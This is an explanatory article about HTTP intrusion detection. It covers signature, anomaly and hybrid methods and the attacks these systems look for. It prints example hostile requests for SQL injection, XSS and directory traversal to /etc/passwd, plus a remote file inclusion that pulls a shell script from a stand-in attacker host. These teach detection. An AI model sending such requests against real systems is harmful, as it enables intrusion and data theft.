HTTP Intrusion Detection – Detect attacks in web traffic

Today, web applications are the backbone of many business processes, from online stores to internal portals for employees. At the same time, they are a preferred target for attackers, as they can often be accessed from anywhere and usually process sensitive or confidential data.

The vast majority of communication on the web takes place via the Hypertext Transfer Protocol (HTTP) or HTTPS. This is precisely where attackers come in: They manipulate HTTP requests or server responses to exploit vulnerabilities in the application. This raises the question for companies of how they can detect suspicious or malicious activities in HTTP traffic.

The answer is: with so-called HTTP intrusion detection.

What is HTTP Intrusion Detection?

HTTP intrusion detection methods

There are various approaches that can be used by an IDS to detect an intrusion. The following section looks at the signature-based, anomaly-based and hybrid approaches.

Signature-based detection

This method works with predefined patterns of known attacks. The following text is an example of an SQL injection request:
GET /index.php?id=1’+OR+’1’=’1 HTTP/1.1
This HTTP request attempts to read more data than the application would normally return using a condition that always returns “true” (1 equals 1). If it is successful, not only the object with the “id” 1 is returned, but all objects that are stored in the same table.

The system compares incoming requests with its signature database. If a known pattern appears in the parameter, the request is blocked or at least marked as suspicious.

Anomaly based detection

Anomaly detection analyzes the normal behaviour of users and applications. Deviations from this standard can indicate attacks.

For example: A normal user calls up an average of five pages per minute. Suddenly, a client sends 500 requests per minute. This could indicate a brute force attack or an automated crawler that wants to collect data from the website.

Hybrid approaches

Many modern systems combine signature and anomaly-based detection. This allows both known attacks to be reliably detected and unknown patterns to be uncovered.

Typical attacks that should be recognized

Cross-site scripting (XSS)

Malicious code is embedded in websites in order to manipulate users. Example:
GET /search?q=<script>alert(‘XSS’)</script>
With this command, an attacker injects JavaScript via the search parameter, which is executed in the browser of other users.

Directory Traversal

By adding text such as “../” to the requests, attackers try to gain access to sensitive files outside the web directory. Such a request would look something like this:
GET /../../etc/passwd HTTP/1.1
This is used to navigate out of the web directory in order to gain unauthorized access to sensitive system files “/etc/passwd”.

Remote File Inclusion (RFI)

An external file is integrated, for example a malicious script from an attacker server.
GET /index.php?page=http://evil.com/shell.sh
If this request is not blocked, code may be executed by the attacker within the web application.

Brute force attacks on login pages

Attackers try out user names and passwords en masse in order to “guess” the correct access data and thus gain access to an account.

Tools and technologies

AI-supported systems are also increasingly being used today. These use machine learning algorithms to recognize patterns and adapt dynamically to new attack techniques. This reduces the dependency on static signatures, allowing unknown attack patterns to be identified more quickly.

Challenges and limits

As useful as HTTP intrusion detection is, there are certain limits.

False positives are a central problem: a legitimate user named O’Connor, for example, could be misinterpreted as an attempted SQL injection when logging in.

Another obstacle is encrypted traffic (HTTPS). In order to detect attacks in HTTPS connections, the data stream must be decrypted. This requires additional computing power and can raise data protection issues.

Performance is also an issue. Analyzing every HTTP request costs resources and can lead to delays in busy applications.

Finally, attackers are constantly developing new techniques. Systems must therefore be regularly updated and optimized to keep them up to date.

Best practices for use

To use HTTP intrusion detection effectively, companies should follow a few best practices:

• Defense in Depth: HTTP intrusion detection should never be the only protective measure, but part of a multi-layered security concept
• Regular updates: Signatures and rules must be constantly updated to keep pace with new attack patterns
• Integration into monitoring and logging: Alarm messages should be fed into central systems so that security teams can react quickly
• Staff training: teams must be able to distinguish false alarms from genuine attacks and respond appropriately

Conclusion